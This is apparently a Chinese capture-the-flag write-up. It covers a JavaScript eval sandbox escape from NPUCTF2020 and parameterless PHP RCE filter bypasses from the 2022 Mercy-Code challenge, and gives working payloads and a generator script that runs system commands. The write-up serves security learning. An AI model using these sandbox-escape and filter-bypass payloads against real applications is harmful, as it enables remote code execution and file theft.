[NPUCTF2020]验证🐎
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0]))
用数组绕过first='1'&second=[1]
这里正则规律过滤位(Math.)
(?:Math(?:\.\w+)?) : 匹配 “Math” 后面可能跟着一个点和任意单词字符的部分,整个部分是一个非捕获型分组。
| : 或运算符,表示两边任选其一。
[()+\-*/&|^%<>=,?:] : 匹配括号、加号、减号、乘号、除号、与操作符、或操作符、异或操作符、取模操作符、小于号、大于号、等于号、逗号、冒号和问号中的任意一个字符。
| : 或运算符
(?:\d+\.?\d*(?:e\d+)?) : 匹配数字,可以包括小数点和科学计数法表示。
| : 或运算符
/g : 匹配空格
function saferEval(str) {if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {return null;}return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个const template = fs.readFileSync('./index.html').toString();
function render(results) {return template.replace('{{results}}', results.join('<br/>'));
}
最好用脚本,burp容易出错
抄的脚本
import re
encode = lambda code: list(map(ord,code))
#decode = lambda
code: "".join(map(chr,code)) a=f""" (m0=>( m0=m0.constructor, m0.x=m0.constructor( m0.fromCharCode({encode("return process.mainModule.require('child_process').execSync('cat /flag')")}) )() ))(Math+1) """ print(a+'\n') a=re.sub(r"[\s\[\]]", "", a).replace("m0","Math") print(a)
2022春秋杯冬季赛
ez_php
2022年春秋春季赛
Mercy-Code
无参数rce的plus
过滤比较严格,通过两个脚本,找到所有内置函数,和可以使用的函数
<?php
$a = get_defined_functions()['internal'];
$file = fopen("function.txt","w+");
foreach ($a as $key ) {echo fputs($file,$key."\r\n");
}
fclose($file);
?>
这里我写一个关于无参数rce的总结,之前一直遇到就是传统的无参数,没有过滤函数。
RCE主题之无参数
常规的无参数rce题目,要求字母开头跟着()镶嵌.
举例
var_dump(get_cwd());
system(next(getallheaders()));
这种形式可以符合题型要求
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) { eval(\$_GET['star']);
}
但如果题目进行升级,过滤var_dump,system等这些常规函数,有哪些特别函数可以用来进行rce,又该如何构造?
这里以[2022春秋杯]Mercy-code来进行讲解,明显发现题目变化主要在过滤,\w换成了[a-z_]其实就是大写和数字去掉了,本来也不影响的。
<?php
highlight_file(__FILE__);
if ($_POST['cmd']) {$cmd = $_POST['cmd'];if (';' === preg_replace('/[a-z_]+\((?R)?\)/', '', $cmd)) {if (preg_match('/file|if|localeconv|phpversion|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|var_dump|pos|current|array|time|se|ord/i', $cmd)) {die('What are you thinking?');} else {eval($cmd);}} else {die('Please calm down');}
}
这里因为能力有限,脚本函数都是取自大佬的,根源是谁也不知道,但学习就对了。
获取PHP内置函数
<?php
$a = get_defined_functions()['internal'];
$file = fopen("function.txt","w+");
foreach ($a as $key ) {echo fputs($file,$key."\r\n");
}
fclose($file);
?>
查找能使用的函数
import re
f = open('function.txt','r')
for i in f:function = re.findall(r'/file|if|localeconv|phpversion|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|var_dump|pos|current|array|time|se|ord/i',i) if function == [] and not '_' in i:print(i)
这里能找到很多函数,我是从别人的经验里总结了几种方法
uniqid(),这个函数前部分的内容是不变的,每次改变的是后面的内容,自己多次运行后发现前五位是不变的
strrev() 函数将字符串反转
chr 生成ASCII的对应字符
那我们通过strrev取出随机的unqid产生的数字进行转码就能有机会构造出.
我们目标就是先构造能读取当前目录的函数表达式
通过这脚本可以发现是有机会生成.的
<?php
for($i=0;$i<1000;$i++)
echo(chr(strrev(uniqid())));
?>
这里有一点注意,只有php7版本以下对类型不敏感,否则会报错显示chr('12313123')这种无法转化字符串的.
scandir() 返回目录
生成
scandir(chr(strrev(unqid))
找到implode函数
implode() 将一维数组转换成字符串
die() 结束进程,并输出内容,等同于 exit()
echo 可以用die代替
发现成功
发现疑似flag文件在尾部
然后就是读取文件,这里利用end()函数得到文件名
end() 将数组的内部指针指向最后一个单元
show_source() 语法高亮一个文件 highlight_file() 别名
show_source可以用file代替
成功
cmd=show_source(end(scandir(chr(strrev(uniqid())))));
但这里我们如果再提高难度,不在当前目录怎么办?,在上一级的目录
chdir(‘…’) 是 PHP 中用于改变当前工作目录的函数要跳转到上层目录需要构造两个点即chdir('..')
从当前目录返回的值我们有经验知道第二个数组里面就是'..'
,我们可以用next来获取第二个数值
cmd=echo(implode(scandir(next(scandir(chr(strrev(uniqid())))))));
成功
还有人问根目录呢?前面随机里本就有/出现,同样可以读取到。
再增加难度,如果说这个unqid不能使用怎么办.
方法plus
搜索headers头查找到apache_request_headers()
发现end(apache_request_headers()可以获得80
通过三角函数我们尝试去获得46,chr(46)=‘.’
ceil() 是 PHP 中用于向上取整的函数
具体方法自己调试
得到如下payload
ceil(sinh(cosh(tan(ceil(cosh(sin(tan(end(apache_request_headers()))))))))) // 通过运算得到 46
然后我们找到flag位置输出即可cmd=show_source(end(scandir(chr(ceil(sinh(cosh(tan(ceil(cosh(sin(tan(end(apache_request_headers())))))))))))));
除此之外其实还有很多例如
cmd=show_source(end(scandir(next(each(str_split(spl_autoload_extensions()))))));
大家可以自己去研究尝试一下,也许下一次的题就是出题人自己研究的。